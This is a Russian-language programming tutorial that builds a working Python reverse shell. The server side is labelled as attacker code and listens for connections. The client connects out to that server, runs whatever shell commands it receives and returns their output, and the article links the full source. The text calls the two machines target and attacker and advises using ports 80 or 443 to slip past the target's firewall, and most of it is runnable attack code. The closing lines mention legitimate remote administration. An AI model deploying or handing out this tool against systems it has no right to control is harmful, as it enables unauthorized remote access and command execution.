Существует множество способов получить контроль над скомпрометированной системой. Обычной практикой является получение доступа к интерактивной оболочке, что позволяет вам попытаться получить полный контроль над операционной системой. Однако большинство основных брандмауэров блокируют прямые удаленные подключения. Один из способов обойти это — использовать обратные оболочки.
Обратный шелл — это программа, которая выполняет локальные команды cmd.exe (для Windows) или bash/zsh (для Unix-подобных) и отправляет вывод на удаленную машину. При обратной оболочке целевая машина инициирует соединение с машиной злоумышленника, а машина злоумышленника прослушивает входящие соединения на указанном порту; это позволит обойти брандмауэры.
Основная идея кода, который мы будем реализовывать, заключается в том, что машина злоумышленника будет продолжать прослушивать соединения. Как только клиент (или целевая машина) подключается, сервер отправляет команды оболочки на целевую машину и ожидает результатов вывода.
Сторона сервера
Во-первых, начнем с сервера (код злоумышленника):
import socket
SERVER_HOST = "0.0.0.0" SERVER_PORT = 5003 BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase # separator string for sending 2 messages in one go SEPARATOR = "<sep>" # create a socket object s = socket.socket()
Обратите внимание, что я использовал 0.0.0.0
в качестве IP-адреса сервера, это означает все адреса IPv4 на локальном компьютере. Вы можете задаться вопросом, почему мы просто не используем наш локальный IP-адрес или localhost
или 127.0.0.1
? Хорошо, если сервер имеет два IP-адреса, скажем, 192.168.1.101
в сети и 10.0.1.1
в другой, и сервер прослушивает 0.0.0.0
, то он будет доступен с обоих этих IP-адресов.
Затем мы указали некоторые переменные и инициировали сокет TCP. Обратите внимание, что я использовал 5003
в качестве TCP-порта, не стесняйтесь выбирать любой порт выше 1024; просто убедитесь, что он не используется, и вы должны использовать его с обеих сторон (т. Е. Сервер и клиент).
Однако вредоносные обратные оболочки обычно используют популярный порт 80 (т. е. HTTP
) или 443 (т. е. HTTPS
), это позволит ему обойти ограничения брандмауэра целевого клиента, не стесняйтесь менять его и пробовать!
Теперь давайте свяжем только что созданный сокет с нашим IP-адресом и портом:
# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
Прослушивание соединений:
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
Если какой-либо клиент пытается подключиться к серверу, нам нужно принять его:
# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
Функция accept() ожидает входящего соединения и возвращает новый сокет, представляющий соединение (client_socket) и адрес (IP и порт) клиента.
Теперь приведенный ниже код будет выполняться только в том случае, если пользователь подключен к серверу; давайте получим сообщение от клиента, которое содержит текущий рабочий каталог клиента:
# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
Обратите внимание, что нам нужно закодировать сообщение в байты перед отправкой, и мы должны отправить сообщение, используя client_socket
, а не серверный сокет.
Теперь давайте запустим наш основной цикл, который отправляет команды оболочки, получает результаты и печатает их:
while True:
# get the command from prompt
command = input(f"{cwd} $> ")
if not command.strip():
# empty command
continue
# send the command to the client
client_socket.send(command.encode())
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# retrieve command results
output = client_socket.recv(BUFFER_SIZE).decode()
# split command output and current directory
results, cwd = output.split(SEPARATOR)
# print output
print(results)
В приведенном выше коде мы запрашиваем у пользователя сервера (т. е. злоумышленника) команду, которую он хочет выполнить на клиенте; мы отправляем эту команду клиенту и ожидаем, что вывод команды выведет ее на консоль.
Обратите внимание, что мы разделяем вывод на результаты команд и текущий рабочий каталог. Это потому, что клиент будет отправлять оба этих сообщения в одной операции отправки.
Если команда «выход», просто выйдите из цикла и закройте соединения.
Сторона клиента
Давайте теперь посмотрим код клиента, откроем новый файл и напишем:
import socket import os import subprocess import sys
SERVER_HOST = sys.argv[1] SERVER_PORT = 5003 BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase # separator string for sending 2 messages in one go SEPARATOR = "<sep>"
Выше мы устанавливаем SERVER_HOST
для передачи из аргументов командной строки, это IP или хост серверной машины. Если вы находитесь в локальной сети, вы должны узнать частный IP-адрес сервера, используя команду ipconfig
в Windows и ifconfig
в Linux.
Обратите внимание: если вы тестируете оба кода на одном компьютере, вы можете установить SERVER_HOST
на 127.0.0.1
, и все будет работать нормально.
Создадим сокет и подключимся к серверу:
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
Помните, что сервер ожидает текущий рабочий каталог клиента сразу после подключения. Отправим тогда:
# get the current directory
cwd = os.getcwd()
s.send(cwd.encode())
Мы использовали функцию getcwd()
из модуля os
, эта функция возвращает текущий рабочий каталог. Например, если вы выполните этот код на рабочем столе, он вернет абсолютный путь к рабочему столу.
Переходя к основному циклу, мы сначала получаем команду от сервера, выполняем ее и отправляем результат обратно. Вот код для этого:
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
splited_command = command.split()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
if splited_command[0].lower() == "cd":
# cd command, change directory
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
# if there is an error, set as the output
output = str(e)
else:
# if operation is successful, empty message
output = ""
else:
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# get the current working directory as output
cwd = os.getcwd()
# send the results back to the server
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
# close client connection
s.close()
Сначала мы получаем команду от сервера, используя метод recv()
для объекта сокета, затем мы проверяем, является ли это командой cd
, если это так, то мы используем функцию os.chdir()
для изменения каталога, потому что subprocess.getoutput()
порождает свой процесс и делает не менять каталог в текущем процессе Python.
После этого, если это не cd
команда, то мы просто используем subprocess.getoutput()
функцию для получения вывода выполненной команды.
Наконец, мы подготавливаем наше сообщение, содержащее выходные данные команды и рабочий каталог, а затем отправляем его.
Полученные результаты
Хорошо, мы закончили писать код для обеих сторон. Запустим их. Во-первых, вам нужно запустить сервер для прослушивания этого порта, а затем запустить клиент.
Ниже показан снимок экрана, когда я запустил сервер и установил новое клиентское соединение, а затем запустил демо-команду dir
:
И это была моя команда запуска на стороне клиента:
Невероятно, не так ли? Вы можете выполнить любую команду оболочки, доступную в этой операционной системе.
Обратите внимание, что я использовал 127.0.0.1
для запуска обеих сторон на одной машине, но вы можете сделать это удаленно в локальной сети или в Интернете.
Заключение
В заключение отметим, что обратная оболочка обычно не является вредоносным кодом. Мы можем использовать его в законных целях; например, вы можете использовать это для удаленного управления вашими машинами.
Вот исходный код статьи: -
https://github.com/KoderKumar/Reverse-Shell
Спасибо, что прочитали мою статью
И если вам это нравится, дайте мне следовать.
https://www.instagram.com/coder_kumar/